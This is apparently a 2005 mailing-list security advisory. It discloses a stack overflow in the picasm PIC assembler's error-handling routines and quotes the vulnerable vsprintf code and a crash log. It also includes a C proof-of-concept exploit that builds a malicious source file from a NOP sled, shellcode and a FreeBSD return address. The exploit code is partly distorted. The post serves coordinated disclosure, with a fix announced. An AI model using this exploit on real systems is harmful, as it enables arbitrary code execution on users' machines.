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Date: Fri, 20 May 2005 16:07:08 +0100
From: Shaun Colley <>
Subject: picasm error handling stack overflow vulnerability

picasm error handling stack overflow vulnerability

Name: picasm error handling stack overflow
Versions Affected: picasm <= 1.12b
Severity: Medium/High
Impact: Arbitrary code execution
Maintainer's Website: <>
Author: Shaun Colley
Vendor Notified: May 7th 2005
Public Disclosure: May 20th 2005

picasm is a Microchip PIC16Cxx assembler, designed to run on most
UNIX-like operating systems.  picasm now extends support to several
other PICs, including the 2c508 and 12c509 devices.

picasm is available via the FreeBSD ports system as devel/picasm.  The
maintainer, Timo Rossi, also provides it on his microcontroller web
page <>.

When generating error and warning messages, picasm copies strings into
fixed length buffers without bounds checking.  Below is the
responsible code.

warning(char *fmt, ...)
   char outbuf[128];
   va_list args;

   strcpy(outbuf, "Warning: ");
   va_start(args, fmt);
   vsprintf(outbuf+9, fmt, args);     [1]


error(int lskip, char *fmt, ...)
   va_list args;
   char outbuf[128];

   strcpy(outbuf, "Error: ");
   va_start(args, fmt);
   vsprintf(outbuf+7, fmt, args);     [2]


fatal_error(char *fmt, ...)
   va_list args;
   char outbuf[128];

   strcpy(outbuf, "Fatal error: ");
   va_start(args, fmt);
   vsprintf(outbuf+13, fmt, args);     [3]


Where [1], [2] and [3], the error handling routines call vsprintf() to
copy a passed format string into a fixed length buffer.  If the 'fmt'
function argument could be controlled, a stack overflow could occur.

As the author explains in the documentation, picasm supports an
'error' directive similar to NASM's '%error' preprocessor.

 error <error_message>                       Causes an assembly error.

An overly long <error_message> provided to an 'error' directive in a
source file would cause calling of error() and result in a stack
overflow as seen in [2].

If an attacker could trick a user into assembling a source file with a
malformed 'error' directive, arbitrary code could be executed with the
privileges of the user.  This could result in full system compromise.

There may be other attack vectors, such as causing picasm to generate
a long warning message, but this has not been investigated.

An attacker who can convince a user to assemble a malformed source
file can execute arbitrary code with the privileges of the user.

Exploitation is straight forward.  The log below shows sample exploitation.

bash-3.00# echo `perl -e 'print "error " . "a"x2000'` > test.asm
bash-3.00# picasm test.asm
error aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Error: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault (core dumped)
bash-3.00# gdb -q -c picasm.core
Core was generated by `picasm'.
Program terminated with signal 11, Segmentation fault.
#0  0x61616161 in ?? ()
(gdb) quit

A proof-of-concept exploit has been written and successfully tested
using the picasm (v1.12b) port on FreeBSD 5.3-RELEASE.  The exploit
crafts a file with a malformed 'error' directive which causes
execution to be directed to reboot() shellcode upon overflow.

/* picasm_exploit.c - by Shaun Colley <shaun rsc cx>
  * This code generates a picasm source file with a malformed 'error' directive,
  * which exploits a stack overflow vulnerability in picasm's error printing
 * routines.  The file generated by this exploit will only cause execution
  * of FreeBSD 'reboot()' shellcode.  Exploit has been tested on
  * Return address into shellcode may need changing on other operating system
  * versions.  Other shellcodes can potentially be used instead of the
one below.
  * A fix has been provided by picasm's maintainer.  The fixed packages can be
 * found at <>.

#include <stdio.h>
#include <stdlib.h>

  /* FreeBSD reboot shellcode by zillion
  * zillion safemode org */
  char shellcode[] =

int main(int argc, char *argv[]) {

  if(argc < 2) {
    printf("syntax: %s <outfile>\n", argv[0]);
    return 1;

    char buf[144];

  /* FreeBSD 5.3-RELEASE */
char ret[] = "\x78\xea\xbf\xbf";
/* Works when X server is not running */
/*char ret[] = "\x08\xeb\xbf\xbf";*/

  char *ptr;
  FILE *fp;
  ptr = buf;

 /* Craft payload */
  memset(ptr, 0, sizeof(buf));
  memset(ptr, 0x90, 118); /* 118 NOP bytes */
  memcpy(ptr+118, shellcode, sizeof(shellcode)); /* 15 byte shellcode */
  memcpy(ptr+133, ret, 4); /* 4 byte ret address */

  /* Open outfile */
  if((fp = fopen(argv[1], "w")) == NULL) {
   printf("unable to open %s\n", argv[1]);

  /* Write it all to outfile */
  fwrite("error ", 1, 6, fp);
  fprintf(fp, "%s", buf);

 return 0;

(If the code looks distorted, reference

The maintainer, Timo Rossi, has fixed the picasm packages and provided
a new security release, picasm 1.12c.  The fixed packages are
available from <>.

Thanks to Timo Rossi for his cooperation in fixing the issue.

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